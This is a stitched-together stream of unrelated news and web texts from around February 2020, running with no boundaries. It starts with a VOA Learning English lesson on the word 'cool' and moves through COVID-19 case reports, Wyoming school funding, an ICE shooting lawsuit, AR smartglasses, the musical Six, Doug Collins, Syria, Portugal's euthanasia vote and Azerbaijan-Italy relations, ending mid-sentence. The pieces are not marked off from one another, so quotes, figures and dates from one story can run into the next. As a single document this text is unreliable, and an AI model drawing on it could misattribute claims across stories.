Lester Young, a saxophone player, is said to have made the term popular in jazz music circles in the 1930s and 1940s. To be cool, Dinerstein noted, meant you carried personal authority through a stylish mask of stoicism. In other words, cool meant you endured hardship, but did not express it outwardly. Modern uses adjective and adverb Over time, cool lost its connection with artistic movements and became more common in everyday speech. It still carries many meanings as a verb, noun, adjective and adverb. However, in casual situations, Americans often use cool as an adjective or as an adverb. Adjective As an adjective, cool generally has three meanings. It can describe something as appealing in a way that people like especially young people. For example, Americans often say things like cool sunglasses or cool clothes. Cool can show approval in a very general way. Imagine you introduce one of your friends to your father. After the meeting, your friend might say, Your dad is so cool. Cool also can show acceptance, agreement, or understanding. Consider this situation. You are running late to a meeting with a friend. You send a text message to apologize for your delay. Your friend might respond with the following message: That's cool no worries. The Amazon television show Patriot used cool in this way. The main character, a spy named John Lakeman, often gets terrible news. He shows acceptance by saying cool. "Cool... thats cool." Adverb As an adverb, cool generally means in a calm manner. Two of the most common uses might be in the terms act cool and play it cool. Imagine two children were playing around and accidentally broke something. Perhaps they broke a lamp or a dish in the house. Then, they hear one of their parents opening the door of their house. One child might say to the other: When dad walks in, just act cool dont say anything! or When mom comes in, we have to play it cool, or she will start to suspect something! A word of caution Finally, a word of warning. Americans generally describe other people with the adjective cool. They do not use it to describe themselves. This is where culture and grammar meet. An American would consider a statement such as I am cool to be strange - even if it is grammatically correct. So, when speaking with friends, feel free to use the term cool. Although informal, it has a good, positive meaning. But you should think of cool as a gift you can give to others. If you give that gift to yourself, well, thats just not cool. Im Jill Robbins. And Im John Russell. John Russell wrote this story for VOA Learning English. George Grow was the editor. ______________________________________________________________ Words in This Story challenge v. to invite someone to take part in a competition; to compete against an opponent character n. a person in a play, movie or television show formal adj. done in an official way; relating to an important or ceremonial event casual adj. unofficial; done without much thought topic n. subject etymology n. an explanation of where a word came from : the history of a word stoicism n. the quality or behavior of a person who accepts what happens without protesting or showing emotion introduce v. to bring into use or operation; to make someone known to another person grammar n. the system and structure of a language dad n. someones father We want to hear from you. Write to us in the Comments Section. Medical staff wear face masks to protect against the COVID-19 coronavirus as they chat outside a hospital in Beijing. (Greg Baker/AFP) Fatalities in China hit 2,118 as 114 more people died, but health officials reported the lowest number of new cases in nearly a month, including in hardest-hit Hubei province. More than 74,000 people have been infected by the new coronavirus in China, and hundreds more in over 25 countries. The number of deaths outside mainland China climbed to 11. Japan's toll rose to three as a man and a woman in their 80s who had been aboard a quarantined cruise ship died, while fears there mounted over other passengers who disembarked the Diamond Princess after testing negative. South Korea reported its first death, and the number of infections in the country nearly doubled Thursday to 104. Iran reported two deaths on Wednesday and three new cases on Thursday. Deaths have previously been confirmed in France, the Philippines, Taiwan and Hong Kong. Chinese officials say their drastic containment efforts, including quarantining tens of millions of people in Hubei and restricting movements in cities nationwide, have started to pay off. Chinese President Xi Jinping spoke by phone about the virus with leaders in South Korea and Pakistan, state news agency Xinhua said. South Korean President Moon Jae-in "chose to call to express sympathies and support" regarding the outbreak, Xinhua said. Xi told him the epidemic's impact on bilateral ties will only be temporary. Xi told Pakistani Prime Minister Imran Khan that their two countries "are true friends and good brothers", and that combating the virus is his government's top priority. At a special meeting on the virus with Southeast Asian countries in Laos, China's Foreign Minister Wang Yi said results "show that our control efforts are working". Although more than 600 new infections were reported on Thursday in Hubei's capital Wuhan, it was the lowest daily tally since late January and well down from the 1,749 new cases the day before. The national figure has fallen for three straight days. Chinese authorities placed the city of 11 million under quarantine on Jan 23 and quickly locked down the rest of the province in the days that followed. Wuhan authorities this week carried out door-to-door checks on residents, with the local Communist Party chief warning that officials would be "held accountable" if any infections were missed. Cities far from the epicentre have limited the number of people who can leave their homes for groceries, while rural villages have sealed off access to outsiders. 'CHAOTIC' CRUISE QUARANTINE In Japan, critics slammed the government's quarantine measures imposed on the Diamond Princess. The huge vessel moored in Yokohama is the biggest coronavirus cluster outside the Chinese epicentre, with 634 cases confirmed among passengers and crew. Another 13 people on board the ship were diagnosed with the virus on Thursday, Japan's health ministry said. Still, passengers were disembarking after negative tests and having completed a 14-day quarantine period - packing into yellow buses and leaving for stations and airports. An infectious diseases specialist at Kobe University slammed the quarantine procedures on board as "completely chaotic" in rare criticism from a Japanese academic. "The cruise ship was completely inadequate in terms of infection control," said Kentaro Iwata in videos he has since deleted. South Korea, meanwhile, announced 51 new cases, with more than 40 in a cluster centred on the Shincheonji Church of Jesus, an entity often seen as a cult. The infections apparently came from a 61-year-old woman who first developed a fever on Feb 10 and attended at least four services before being diagnosed. Authorities were investigating whether she visited a hospital where a long-term patient contracted the virus and later died. GROWING CONCERN ABROAD Beyond Asia, citizen backlash was growing over fears of contagion. Iraq on Thursday clamped down on travel to and from neighbouring Iran, with Iraq's health ministry announcing people in Iran were barred from entering the country "until further notice." The move came after Iran confirmed three new coronavirus cases following the deaths of two elderly men. And in Ukraine, a crowd clashed with police outside a hospital over government plans to quarantine evacuees from coronavirus-hit China at the site. Six buses with the evacuees arrived at the medical centre in Novi Sanzhary, in the central Poltava region, escorted by police. Angry demonstrators lit fires and pelted the buses with rocks, breaking at least three windows. Because of the virus outbreak, airlines operating in the Asia-Pacific region stand to lose a combined US$27.8 billion of revenue, the International Air Transport Association said. This is the first time since 2003 that demand for air travel has declined, IATA CEO Alexandre de Juniac said. Department of Education officials are urging lawmakers to look at the states educational program and update it for learning in a world thats wildly different than it was when that program was designed 20 years ago. The challenge for local school districts is that a 21st century education is not fully aligned to the basket of goods, State Superintendent Jillian Balow wrote in an editorial published in the Star-Tribune earlier this month. The term basket of goods refers to the skills and content areas that schools are required to cover. And as school boards endeavor to fund the basket with a block grant, their ability to implement a modern classroom is thwarted by an outdated basket. In a budget session where most bills will fall by the wayside, the Legislature is certain to pass a bill allowing for a group of lawmakers to study the technical term is recalibrate the states education system. The process typically involves a select committee overseeing the work of a state-hired consultant, who will have two primary tasks: first, determine what constitutes an adequate and equitable education for all 90,000-odd Wyoming students; and second, determine how much it would cost to provide that education. That effort may result in the state changing its funding model. It may result in the Legislature keeping its current model, which dictates how school districts are funded in line with the education the state has decided is adequate and equitable. In 2017, for instance, consultants recommended a model that was $70 million more expensive than the current model. Unsurprisingly, the Legislature did not run with that suggestion. The reason that recalibration is as close to a lock as any bill can be is because its legally required. The Legislature must recalibrate every five years to ensure the education system is passing constitutional muster. The last regularly scheduled recalibration was in 2015. There was a special recalibration in 2017 amid legislative scrambling to cover a yawning funding deficit. But an assistant attorney general who spoke to lawmakers last year indicated that they would likely have to undertake it again in 2020. This process has typically not included cracking open the basket of goods. The basket includes 12 content areas dubbed the common core of knowledge which include the classes and subjects students take: social studies, reading, math, physical education and health. The basket also includes six skills that students need to learn. They include creativity, critical thinking and problem-solving more intangible abilities that cross-cut subject areas. The basket has remained largely static since 1997. In 2018, the Legislature added computer science as a required content area and computational thinking as a required skill. It simultaneously removed applied technology and keyboarding, so the basket neither grew nor shrank. But the addition of computer science was not insignificant, especially given the broad changes needed to institute such a specific and technical subject. Dicky Shanor, Balows chief of staff at the Education Department, said the state Supreme Court was very explicit that the basket should not be static. In a series of court cases beginning in the mid-1990s, the court essentially overhauled the states education system, laying out the framework that guides it today and requires recalibration. Since (the first court decision in 1995), other than the computer science addition of several years ago, the common core of knowledge and skills has remained the same, he said. Were at that juncture to really undertake an analysis to determine if our educational program, the basket of goods, is still proper and fit for purposes of the 21st century world. Many in the education community have grumbled about the baskets breadth as lawmakers have cut budgets. In recent years, the Legislature has cut school funding by tens of millions of dollars, scaling down the education budget to essentially what is legally required. Educators have asked how theyre expected to do more with less. Rep. David Northrup, a Powell Republican who chairs the House Education Committee, said that the recalibration committee would likely look at taking things out of the basket. We need to give more time for math and language arts, and also those two need to be embedded in the curriculum so that when youre doing science, youre doing math at the same time, he said, adding that he had heard educators complaints that the basket was growing burdensome. We need to look it and think about the 21st century and not think about the education that took place in the 70s, 80s and 90s, he added. Brian Farmer, the executive director of the Wyoming School Boards Association, echoed the concern of other educators. He said that if lawmakers want to throw more food onto teachers plates, theyll have two options. First, he said, they could make a bigger platter, meaning adding more days to the school year. Or they could take food off of the plate. It gets so full that things start falling off, things dont get done, he said. ... I do worry that if we go so broad that it would force a district to have to choose what are the pieces that they offer to their students and what gets left out. The Education Department had pushed for the recalibration committee to include an advisory committee of educators to help guide the effort. The Houses ed committee rejected that, and Northrup said the Legislature wanted lawmakers to be firmly in the drivers seat. Shanor said an advisory committee should be involved because of how much work will need to go into examining the basket. Its a heavy lift, whats being contemplated, he said. Just fielding public comment and trying to get that work done, sort of informally, will be very, very challenging. Regardless of whether the recalibration committee decides to add or remove things from the basket, it will be a multi-year process. Shanor pointed to the computer science addition, which was passed into statute in 2018. State education officials worked on the standards for computer science for a year, and schools will have another two years to implement them. In other words, dont expect a new subject area in your kids classroom tomorrow. Many years would be needed to be provided for school districts to adapt to any changes that are made, for the state board (of education) to adopt rules consistent with any changes, curriculum to be aligned, teachers to be provided professional development, Shanor said. So yes. This is another reason for the urgency. We need to get started. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. NEW YORK - The mother of a Mexican municipal worker who was shot in the face by a U.S. Immigration and Customs Enforcement officer said on Friday that she wants justice and the federal agent to be held accountable for what he did. Carmen Cruz spoke at a news conference, along with several activists, to denounce the violence against her son, Erick Diaz Cruz, who was on vacation visiting her in Brooklyn on Feb. 6 when he was shot by an agent who was trying to arrest Diaz Cruzs mothers companion. Those people shot him to kill him. Its a miracle that my son is alive, said Cruz, who demanded an investigation of the shooting and the release of her companion, Gaspar Avendano-Hernandez, who is in the immigration agencys custody. Diaz Cruz, who is still in New York, filed a lawsuit in federal court this week against the unnamed agent, claiming he suffered excruciating pain, has limited vision in his left eye and cannot use his left arm. The 26-year-old Mexican, who works as an assistant to the mayor of the Mexican city of Martinez de la Torre, in the state of Veracruz, said the agents bullet tore through his left hand, entered his left cheek and remains lodged in his neck because surgery to remove it would be too risky. According to the lawsuit, he will require countless more medical interventions. During the incident, Avendano-Hernandez was arrested, accused of being in the U.S. unlawfully. Cruz said she found out Friday that he was denied asylum. For me, that is sad news. I need federal leaders to support Gaspar now so that he can be released, she told reporters. Cruz and activists from groups like Young Progressives of America, Immigration Advocates Network and Sunset Park ICE Watch asked for New York Attorney General Leticia James to investigate the shooting and demanded that New Yorks representatives in Congress support a parole application for Avendano-Hernandez. A request for comment was sent to James office. An spokeswoman for the immigration agency said she wouldnt comment on the news conference but pointed out that the shooting is being investigated by the Department of Homeland Security Office of Inspector General and that the agency is fully co-operating with that investigation. On Feb. 6 the agency spokeswoman said that a Fugitive Operations Team discharged at least one firearm when officers were physically attacked while attempting to arrest Avendano-Hernandez, a twice-removed immigrant with a 2011 assault conviction in New York City. Officials also said that Avendano-Hernandez was arrested by New York City police Feb. 3 for possession of a forged instrument. He was released from local custody before the federal agency could lodge an immigration detainer. The agency said that this forced its officers to locate him in the streets of New York. The shooting comes amid an ongoing dispute between President Donald Trumps administration and New York City over its so-called sanctuary policies. ICE has expressed frustration that the city does not honour the vast majority of its immigration detainer requests. Sanctuary policies generally limit the role police and other local law enforcement agencies play in immigration matters. Democratic New York Mayor Bill de Blasio has said his administration complies with detainer requests for defendants who have been convicted of a violent or serious felony. In his lawsuit, Diaz Cruz alleges that at the time of the shooting neither he nor Avendano-Hernandez was armed. He says he was on a two-week vacation with his girlfriend, visiting his mother and brother in Brooklyn, and that he had travelled on a valid tourist visa. He spent five days in a New York hospital. He is recovering slowly, Cruz said. He needs medical treatment and for the moment he cant return to Mexico. Congratulations, ehustleonline.com got a very good Social Media Impact Score! Show it by adding this HTML code on your site: Ehustleonline.com scored 97 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 5/5.0 Stars by Social Team This CoolSocial report was updated on 2 Dec 2012, you can refresh this analysis whenever you want. ehustleonline.com is very popular in Twitter. It has 654 twitter followers. Add a widget like this on your site: click here The total number of people who shared the ehustleonline homepage on Google Plus by a google +1 button. This is the sum of two values: the total number of people who shared, liked or recommended the ehustleonline homepage on Facebook + the total number of page likes (if ehustleonline has a Facebook fan page). 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The description of the Facebook page describes website and its services to the social media users. Twitter account link TWITTER PAGE LINK FOUND TWITTER PAGE twitter.com/#!/ehustleonline DESCRIPTION Full Time Mom ACCOUNT CREATED ON 16 Sep 2009 LOCATION VA TWEETS 1726 FOLLOWERS 654 LISTED 9 Augmented reality is seen as a boon for the workplace of the future because it would allow co-workers to collaborate remotely using digital avatars and 3D virtual objects that can be viewed and manipulated in real-time during a meeting. That vision is behind the announcement Thursday by Spatial and Nreal, who are teaming up to offer AR collaboration software and hardware. Nreal unveiled its Nreal Light smartglasses at CES last month; the headset won plaudits for their light weight, usability and moderate prcing. The smart glasses are slated to go on sale later this for $499. Under the partnership, Spatials software will run on Nreal Light, which relies on a smartphone for compute power, offering an affordable way to connect workers in virtual meetings and opening the potential for 5G connectivity as more compatible smartphones arrive on the market. I think this partnership is definitely a big deal because it gives Spatial access to probably one of the hottest AR companies out there and it gives Nreal access to more use cases for their headset, said Anshel Sag, an analyst at Moor Insights & Strategy. Its another boost for Spatial, which has previously partnered with Microsoft to adapt its device-agnostic software for Microsofts mixed reality HoloLens; those headsets are more powerful, but also considerably more expensive, than Nreal Light. Spatial also runs on Facebooks Oculus Quest and Qualcomms XR2. [Spatial] understands they need a platform that allows as many AR headsets as possible to collaborate with one another seamlessly and effectively, said Sag. I believe that they are laser focused on enabling enterprises to collaborate remotely but also to do it in a way that adds value with immersive collaboration and engagement. 5G connectivity as a differentiator The two vendors are working with Koreas LG Uplus, Japans KDDI and Deutsche Telekom in Germany on 5G connectivity. "Consumers will be able to work or interact with anyone, anywhere as if sitting next to each other," said Spatial co-founder and CEO Anand Agarawala in a statement. The use of 5G is designed to help overcome some of the barriers to an AR workplace, said Sag. I believe that 5G will be important for removing some of the connectivity barriers that exist today and reducing the need for as many layers of security in order to collaborate, he said. Collaborating over Wi-Fi when on the same network is great, but once you start incorporating outside networks, you run into security and reliability issues and that's really where 5G is a major value add, Sag said. 5G will be faster than 4G, but the reality is that some 4G is already quite fast to accomplish some of these things. The problem is that 4G is not consistently that fast and that's really what is going to come with 5G and what's needed to up-level collaboration and engagement between employees. Details about pricing, packaging and plans to work with U.S. telecom firms were not immediately available. Six's cast recording has reached 100 million streams, it was announced today. The musical, which is currently in previews on Broadway and recently announced a West End extension until January 2021, streams on average 450,000 times a day on Spotify and Apple Music. The cast recording is now second only to Hamilton as the most streamed musical theatre album in the world: Writers Toby Marlow and Lucy Moss, who wrote the show while still students at Cambridge University, said: "Our minds are completely blown at this incredible news! We are overjoyed that these nine songs our little babies have become so popular. With six productions of Six playing simultaneously around the world, and Anne Boleyn's song "Don't Lose Ur Head" shared over half a billion times on Tik Tok well, we're just feeling kinda overwhelmed and incredibly grateful! "We wrote these songs in our final year at college for a show at the Edinburgh Fringe, and our only thought at that time was to not embarrass ourselves or our friends. To be nominated for five Olivier Awards, be named 'the musical of the decade' by WhatsOnStage and with us now being second only on Spotify and Apple Music streaming to Hamilton is beyond our wildest dreams. The sold-out audiences at the Brooks Atkinson Theatre in New York where the latest production is previewing on literal B-R-O-A-D-W-A-Y! have been going just as nuts as those in the West End, across the UK and in Australia. "The past 18 months has been the most unforgettable journey. We keep pinching ourselves but want to say 100,000,000 thank you's from the very bottom of our hearts to each and every one of the fans out there who love Six and its songs and are listening to them in such mind-blowing numbers every day! WE LOVE YOU! THANKS!" The West End cast of Six KWPR Moss, 26, also entered the record books as the youngest female director to direct a Broadway musical. The co-director with Jamie Armitage joined Orson Welles, who was 22 when he entered the record books as the youngest man to direct a musical on Broadway with The Cradle Will Rock in 1937. Six opens on Broadway on 12 March. A production of Six the Musical also opened last month in Australia at the Sydney Opera House, before touring to Melbourne and Adelaide. An additional North American production will return to Chicago for an open-ended run from 8 July and the UK tour of the musical is currently running until November 2020 both the UK tour and West End production put out an open casting call earlier this week. I thought it very interesting that the Advance published two articles of interest to me in the Feb. 12, 2020 issue. On Page 1 they talked about the bag ban, and on Page 2 the say for Valentines Day, name your cockroaches. I guess New York residents will experience both. They will have a ban on plastic bags, and they will have the cockroaches to name. Living to be a senior is fun because we get to experience the stupid mistakes politicians make more than once in a lifetime. I can remember moving to Staten Island into a brand new house only to experience cockroaches a few months later. I couldnt believe it until someone told me that cockroaches and water bugs love the glue that is used to seal the bottoms of the paper bags grocery stores use to bag your groceries -- so much so that they favor those paper folds to lay their eggs. So, the next time you go shopping in a grocery store, dont forget to tear apart the paper bag bottom to wipe away those cockroach eggs. Or, maybe you would rather have cockroaches break-dancing across your ceilings than a plastic bag swinging in a tree. (Robert McKenna is an Annadale resident.) Republican Georgia Representative Doug Collins revealed Friday morning that he is not interested in becoming Donald Trump's next Director of National Intelligence Doug Collins rejected joining Donald Trump's administration on Friday morning, saying he wants to continue campaigning to become a senator for Georgia. Trump floated to reporters Thursday night that he was considering bringing on the Republican congressman as the next Director of National Intelligence after he ousted the acting director earlier this week. 'It is humbling. It's amazing to have the president think that much of you, to mention my name among others to be this position,' Collins told Fox Business in an interview Friday. After leaving the rally site in Colorado Springs, Colorado Thursday, Trump, along with UFC champion Dana White, paid a visit to the press cabin on Air Force One, where the president revealed he was considering Collins for the job. But the staunch Trump loyalist then made it clear that he has no interest in the post. 'Let me tell you right now, I know the problems in our intelligence community. This is not a job that interests me, at this time, it is not one that I would accept,' the ranking members of the Judiciary Committee told Fox Business's Maria Bartiromo after she congratulated him for being floated. The Georgia Representative is a staunch Trump loyalist who has higher ambitions and is currently challenging Kelly Loeffler for her Senate seat, which she was appointed to after incumbent Senator Johnny Isakson announced his resignation effective at the end of last year. If Trump were to bring on Collins to his administration he would help avoid Republican in-fighting for the Georgia Senate seat, which could divide the electorate. 'I'm running a Senate race down here in Georgia,' Collins continued. 'Everybody knows that I'm a supporter of the president. They know how much I have supported this president through these sham impeachment, everything else.' 'But I'm running against a senator who was just merely appointed who decided to support the president three weeks before she got the appointment,' he said, taking a jab at his fellow Georgia Republican lawmaker. 'And also polling down here shows that we have a candidate down here that could actually put this seat in jeopardy because of the flaws she has.' 'So look, I am very humbled by the president. I'm a supporter of this president. I'm going to continue to fight for this president in the House this year. And we'll be in the Senate next year because this intelligence community has to get right. And I'm sure the president will pick somebody appropriate for the job,' he continued. During an interview with Fox Business Friday morning Collins told Maria Bartiromo (left) that 'it is humbling' the president thought of him, but said he wants to focus on winning his Senate campaign While flying out of Colorado after his rally Thursday night, Trump visited the press cabin on Air Force One, with UFC champion Dana White (left) in tow, where he told the media members on board he was considering Collins for the post Collins is currently running a Georgia Senate campaign against incumbent Republican Kelly Loeffler. But appointing him to the administration could avoid the in-fighting among party members Trump axed Acting Director of National Intelligence Joseph Maguire after finding out he revealed to lawmakers in a classified hearing that Russia wants Trump reelected in 2020. Reports revealed Trump felt Maguire telling lawmaker's the Kremlin's preferences for the next election was disloyal, and ruined the acting director's chances of being appointed to the post permanently. Richard Grenell, Trump's ambassador to Germany who was tapped to be acting director after Maguire's ousting, said on Thursday that Trump would not nominate him permanently to be the top U.S. spy. 'The President will announce the nominee (not me) sometime soon,' Grenell tweeted a day after Trump announced his selection to lead the nation's intelligence agencies in an acting capacity. A senior administration official, speaking on condition of anonymity, said Grenell would remain U.S. ambassador to Germany while serving as the second acting head of the 17-agency U.S. intelligence community since mid-2019. Trump's decision to appoint Grenell in the interim ignited criticism by Democratic lawmakers, who said he lacked the experience for the job and was appointed only because of his loyalty to the president. 'Sadly, President Trump has once again put his political interests ahead of America's national security interests by appointing an Acting Director of National Intelligence whose sole qualification is his absolute loyalty to the President,' House Speaker Nancy Pelosi said in a statement. Trump, she said, appointed Grenell in an acting capacity because he knows Grenell 'cannot be confirmed even in a Republican-controlled Senate' to the full-time post. Trump is searching for a Director of National Intelligence after axing Acting Director Joseph Maguire after he revealed to lawmakers in a classified hearing that Russia preferred Trump win reelection in November U.S. Ambassador to Germany Richard Grenell was appointed acting director in the interim between Maguire and a new director. He has said he will not be appointed to the permanent position A strong Trump supporter with a reputation for sometimes being abrasive, Grenell has been a lightning rod for controversy during his post in Germany due to his unorthodox style of diplomacy. Soon after arriving in Berlin in 2018, he drew condemnation from across Germany's political spectrum for an interview with the right-wing Breitbart website in which he said, 'I absolutely want to empower' European conservatives who are 'experiencing an awakening from the silent majority.' He was referring to elections that catapulted conservative parties in Germany, Italy, Hungary and Austria. Trump has had a strained relationship with the U.S. intelligence community since he took office three years ago. He has objected to intelligence assessments on major foreign policy issues, from North Korea to Saudi Arabia, that have clashed with his own analyses. Most notably, he disregarded his own intelligence agencies' conclusion that Russia interfered in the 2016 election with the goal of promoting Trump over Democrat Hillary Clinton. At a 2018 summit, he said he found Russian President Vladimir Putin's denials of Russian meddling 'extremely strong and powerful.' The last full-time director of national intelligence, former Republican Senator Dan Coats, resigned in July 2019, a year after his differences on the Russia election role with Trump became public. Joseph Maguire, a career intelligence officer, has been serving as acting intelligence chief since Coat's departure. Recent comments by the UN Special Envoy to Syria at the Security Council have angered the opposition, who see them as a green light for the regime to continue their assault reports Alsouria Net. Statements by UN Special Envoy to Syria Geir Pedersen about terrorist groups in Idleb have sparked the ire of aid groups inside Syria who fear the Assad regime and Russia will exploit these statements. Pedersen said during a briefing to the Security Council on Wednesday that, terrorist groups are still in Idleb province, the same pretext that Russia is using to bomb Idleb and to support the attack carried out by Assads forces on the province. The Humanitarian Response Coordinators operating in northern Syria issued a statement on Thursday saying that the statement issued by the envoy was giving a direct pretext to the regime and Russia to attack the area and retake it. The group added that Pedersens statements would give the green light to a military operation led by the regime with Russian backing in Idleb, which could displace 4 million Syrians under the pretext of fighting terrorism. The group connected Pedersens comments to those of the Russian envoy to the UN, Vasily Nebenzya, about there being terrorists in Idleb, saying that Nebenzyas comments highlight Russias hostile intentions towards civilians in the area. The statement said there was a need to define terrorist groups in Syria in the context of fighting terrorism, adding that it is known to everyone, foremost the Assad regime, Russia and the foreign militias that support it. Previous hints from Pedersen Pedersens statements about terrorists in Idleb were not new, as he had previously touched upon this subject in a press conference in May 2019, when he said: There is a terrorist group controlling most of Idleb, which is Hayat Tahrir al-Sham, referring to the Security Councils consensus regarding the legitimacy of combating terrorists, while respecting the norms of international humanitarian law. However, Pedersen called yesterday for an immediate ceasefire in Idleb, indicating there had been a lack of progress in efforts to towards a truce, even on the political track. He added in his briefing to the Security Council that Turkey and Russia could reduce the escalation in Idleb and that the two countries should do this, adding that Russia is involved in the military operations launched by the regime in Idleb. During their attack on Idleb, Russia and the Assad regime excused the existence of terrorist organizations in Idleb, but relief organizations operating in the region documented the targeting of civilians by Assad and Russian aircraft, in addition to bombing vital installations such as hospitals and schools. The United Nations High Commissioner for Human Rights issued a report recently in which it said that during February, Russian-backed Assad forces killed at least 100 civilians, including 35 children and 18 women, in the provinces of Aleppo and Idleb. According to the report, seen by Alsouria Net, since the beginning of this year at least 298 civilians have been killed in Idleb and Aleppo, with Assads forces responsible for 93 percent of the killings. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. This domain is pending renewal or has expired. Please contact the domain provider with questions. Our Social Security numbers and birth dates deserve the utmost in safekeeping. Blame for the recent massive data breach is squarely on the Oregon Health Plan and Health Share of Oregon. The contractor, Gridworks IC, has no business having our most sensitive personal information, and there can be no consolation from assurances they were not also given our medical records. Health Share of Oregon selfishly compounds the damage by deflecting blame onto GridWorks, publicly identifying the computer containing our personal data, putting it at even greater risk. We must demand investigations to discover everywhere else the Oregon Health Plan and its affiliates leak our sensitive data, determine if the information is truly necessary and appropriate, and properly secure and encrypt it or purge it. James Angus, Beaverton Portuguese parliament votes to allow euthanasia for terminally ill amid protests Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Despite protests, lawmakers in Portugal have voted to allow euthanasia and doctor-assisted suicide for the terminally ill in the western European nation. The Portuguese parliament passed five "right-to-die" bills this week, each of which passed easily, according to the Associated Press. The nation's president, Marcelo Rebelo de Sousa, who took office in 2016, may yet intervene and block the legislation. The Portuguese leader is reportedly reluctant to embrace euthanasia. Should he veto the bill, the parliament could then override the veto by taking a second vote. Prior to the vote, protesters outside the parliament building rallied against the measure, some chanting "yes to life" while others held up religious images and crosses. Because of the serious nature of the bill, each legislator was required to state their vote on the bills, as opposed to electronic voting. Voting in such a way is usually reserved for weighty matters like impeachment or a declaration of war. The practice of euthanasia is presently legal in Belgium, Canada, Colombia, Luxembourg, the Netherlands and Switzerland and in several U.S. states. The Catholic Church in Portugal led the efforts against legalizing euthanasia, having unsuccessfully attempted to persuade lawmakers to allow a popular vote in a referendum on the issue. Portugals Constitution asserts that human life is sacrosanct. A Socialist party lawmaker said the goal of the bills was to allow Portuguese citizens to make intimate choices, without breaking the law. The pending provision covers patients over the age of 18 who are in a situation of extreme suffering, with an untreatable injury or a fatal and incurable disease. In order for someone to meet that criteria, two doctors, at least one of whom specializes in the relevant condition from which the patient is suffering, and a psychiatrist are required to sign off. Those seeking to end their lives are then processed through a Verification and Evaluation Committee, which may approve or reject the request, the proposals stipulate, and the process is delayed if challenged legally, or should the patient lose consciousness. The measures contain allowances for health practitioners with moral objections to refuse to perform the procedure on moral grounds. Telmo Correia, a lawmaker from the right-leaning Popular Party, described euthanasia as a sinister step backward for civilization and observed that none of the parties backing the legalization efforts mentioned euthanasia in their platforms for the upcoming general election in October. In the United States, Maine, Vermont, New Jersey, Washington state, Oregon, California, and Hawaii, along with the District of Columbia have legalized assisted suicide. Montana does not have a state law on the books but the option is legal in the state following a state Supreme Court ruling. Photo: The Canadian Press Medical staff attend to COVID-19 patients in a temporary hospital converted from an exhibition centre in Wuhan in central China's Hubei province. China reported a further fall in new virus cases to 889 on Friday as health officials expressed optimism over containment of the outbreak that has caused more than 2,200 deaths and is spreading elsewhere. Containment of the illness has been a struggle far from the epicenter in central China as a major South Korean city urged residents to stay indoors. New infections in China have been falling for days, although changes in how it counts cases have caused doubts about the true trajectory of the epidemic. The downward trend will not be reversed, Ding Xiangyang, deputy chief secretary of the State Council and a member of the central governments supervision group, said on Thursday. China's figures for the previous 24 hours brought the total number of cases to 75,465. The 118 newly reported deaths raised the total to 2,236. More than 1,000 cases and 11 deaths have been confirmed outside the mainland. Iran announced three more infections Thursday, a day after it reported its first two deaths, and South Korea reported its first fatality. Japan said two former passengers of the Diamond Princess cruise ship had died of the illness. In Australia, two people who were flown back home as the 14-day quarantine on the Diamond Princess was about to end tested positive for the virus despite clearing multiple screenings before the flight. It's possible more people could develop positive tests over the next few days, said Australian Chief Medical Officer Brendan Murphy. The two new cases take the total number in Australia to 17. Of those, 10 people have recovered. Some 170 Australian passengers, most aged in their 60s and 70s, will be quarantined for an additional two weeks after leaving the Diamond Princess. Japanese Health Minister Katsunobu Kato told reporters that Australia, like the U.S., brought home a mixture of passengers who had tested negative and others whose status was unclear, therefore it is difficult to immediately jump to conclusion over when or how they had contracted the virus. Kato said passengers who returned home on U.S. and Australian flights had left before completing the Japanese quarantine process, which ends Friday. China last week had started recording new cases without waiting for laboratory results, causing a significant spike in the number of cases. But on Thursday it returned to its prior way of counting, and removed some cases from the tally because lab tests came back negative. The changes are sure to aggravate observers who say consistency is key to understanding COVID-19s path. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Washington, United States Sat, February 22, 2020 06:01 690 7f440ff09e92db75a02bbad2065e89aa 2 People Donald-Trump,bollywood,gay-films,gay-rights Free President Donald Trump got into the mood on Friday ahead of his upcoming India trip by issuing a surprising thumbs-up for Bollywood's first gay rom-com movie. "Great!" the US president wrote as he retweeted gay rights activist Peter Tatchell's own expression of support for the ground-breaking movie. Trump is not a regular advocate of gay rights, while some of his more right-wing supporters actively oppose them. "I hope this is the beginning of President Trump's genuine embrace of LGBT+ rights & not just a PR stunt," Tatchell tweeted after. Released on Friday, "Shubh Mangal Zyada Saavdhan" ("Be Extra Careful About Marriage") stars popular actor Ayushmann Khurrana as a young man bucking social disapproval to be with his beloved -- another man. India's Supreme Court scrapped a colonial-era ban on homosexuality only in 2018. Trump, accompanied by First Lady Melania, is due to land in the western city of Ahmedabad on Monday before heading to the Taj Mahal and then to talks with Prime Minister Narendra Modi in New Delhi the next day. More than 142,000 Iraqis have resettled in the U.S. since 2007, according to the same NBC News story. For some Iraqis who worked with the U.S. military, coming to America isn't just a chance for a better life. It's a chance to ensure they have any life at all. Al Bawi said he spent four years working with the U.S. military. Of the seven other interpreters he worked alongside, he said he's one of two still living. He recalled at one point being in a secure area in Baghdad and unable to safely see his family just miles away. One of the U.S. soldiers he served with told him he needed to leave Iraq or he would wind up dead. Al Bawi said he was scared to come to the United States not knowing anyone. One of the same soldiers who warned him helped him with his passport and other paperwork and housed him for more than a year in Texas while he got on his feet. Al Bawi said they're like family. Since he has been in the United States his father died in Iraq, but he was unable to attend the funeral, something he said still bothers him. By Trend The announcement of 2020 as the Year of Azerbaijani Culture in Italy by President Sergio Mattarella is very significant, Azerbaijani MP Asim Mollazade told Trend Feb. 21. In his opinion, this factor perfectly characterizes the current relations between Azerbaijan and Italy, the MP noted. Stressing that the state visit by Azerbaijani President Ilham Aliyev to Italy is important, Mollazade added that the signing of the Joint Declaration on Strengthening Multidimensional Strategic Partnership between Azerbaijan and Italy will give impetus to the further development of relations between the countries. Mollazade reminded that Italy is one of Azerbaijans main trade partners, adding that Italian companies are interested in developing cooperation with Azerbaijan, which is developing its economy, and are actively involved in this process. Economic cooperation with Italy is increasingly developing, and is of a multilateral nature, said the MP. The two countries have established excellent cooperation in economic, educational and cultural fields. Azerbaijani-Italian cooperation will also develop within Azerbaijans interaction with the EU, thanks to which partnership with NATO will be strengthened, Mollazade 